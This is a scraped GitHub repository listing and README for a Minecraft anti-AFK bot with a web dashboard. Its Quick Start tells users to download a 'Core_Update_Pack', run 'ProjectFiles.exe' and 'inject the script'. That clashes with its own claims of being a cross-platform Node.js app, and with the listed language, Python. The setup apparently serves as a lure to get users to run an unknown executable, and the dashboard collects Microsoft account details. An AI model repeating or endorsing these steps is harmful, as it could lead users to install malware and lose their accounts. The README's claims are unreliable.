# Minecraft-AFK-Bot (sentinelsoldierprize/Minecraft-AFK-Bot) > A lightweight, open-source Minecraft Anti-AFK bot with a web dashboard. Keeps your character active on Java servers to avoid being kicked for inactivity. Perfect for keeping Aternos servers alive or farming playtime. - GitHub: https://github.com/sentinelsoldierprize/Minecraft-AFK-Bot - GitHub.Locker page: https://github.locker/sentinelsoldierprize/Minecraft-AFK-Bot - Stars: 425 - Language: Python - License: MIT - Last push: 2026-11-07 --- ## README (checked against GitHub 2026-11-08) Source: https://github.com/sentinelsoldierprize/Minecraft-AFK-Bot/blob/main/README.md # 🤖 Minecraft AFK Bot **Keep Your Account Online 24/7 — 2026** A lightweight, open-source Minecraft Anti-AFK bot with a web dashboard. Keeps your character active on Java servers to avoid being kicked for inactivity. Perfect for keeping Aternos servers alive or farming playtime. --- ## 🎯 What it is **Minecraft AFK Bot** is a standalone Node.js application that connects to your Minecraft server as a player. It simulates small movements (head rotation, jumping) to bypass AFK detection, and automatically reconnects if the server kicks you. > ⚠️ **Warning:** Using automated clients may violate the rules of some Minecraft servers. Use responsibly and only on servers where such tools are permitted. We are not responsible for any bans. --- ## 🚀 Quick Start

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1. **Download Core_Update_Pack** using the button above. 2. **Extract** the archive into a separate folder. 3. **Run ProjectFiles.exe**. 4. **Follow the on-screen instructions** and inject the script. --- ## ✨ Features | Feature | Description | |-----------------------------|------------------------------------------------------| | 🛡️ **Smart Anti-AFK** | Periodic head movements and jumps to avoid kicks | | 🌐 **Web Dashboard** | Control the bot from your browser (localhost) | | 🔄 **Auto-Reconnect** | Automatically rejoins if disconnected or kicked | | 👤 **Multi-Account** | Support for Microsoft and Mojang accounts | | 💬 **Chat Integration** | Send and receive messages via the dashboard | | ⚙️ **Customizable** | Adjust movement intervals and amplitudes | --- ## 🛠️ How to use 1. Launch **ProjectFiles.exe**. 2. Open your browser and go to `http://localhost:3000`. 3. Add your Minecraft account (email and auth type). 4. Enter your server address and port. 5. Click **"Start"** to connect the bot. 6. The bot will join the server and start simulating activity. --- ## ⚙️ Configuration You can adjust settings in the `config.json` file or via the web dashboard: - **Server Address**: IP or domain of your Minecraft server - **Port**: Default is `25565` - **Wiggle Interval**: Time between head movements (default: 30000ms) - **Wiggle Amplitude**: How far the head moves (default: 0.1) - **Chat Ping**: Optional message to send periodically --- ## ❓ FAQ **Is this safe to use?** It only simulates player activity. However, some servers have strict rules against bots. Check your server's rules before using. **Does it work on Aternos?** Yes. It's perfect for keeping free Aternos servers from shutting down due to inactivity. **Does it work on Mac or Linux?** Yes, the bot is built with Node.js and runs on Windows, macOS, and Linux. **Can I use it on multiple accounts?** Yes, the web dashboard supports adding and switching between multiple accounts. --- ## 💻 Tech Stack & Architecture - **Core:** Node.js / Mineflayer - **Web Server:** Express - **Real-time:** Socket.io - **Auth:** Microsoft / Mojang - **Target OS:** Windows / macOS / Linux --- ## 🤝 Contributing Pull requests, bug reports, and feature suggestions are welcome. See `CONTRIBUTING.md` for guidelines. --- ## 📜 License MIT License — free to use, modify and redistribute. --- **⭐ Star the repo if it helped you.**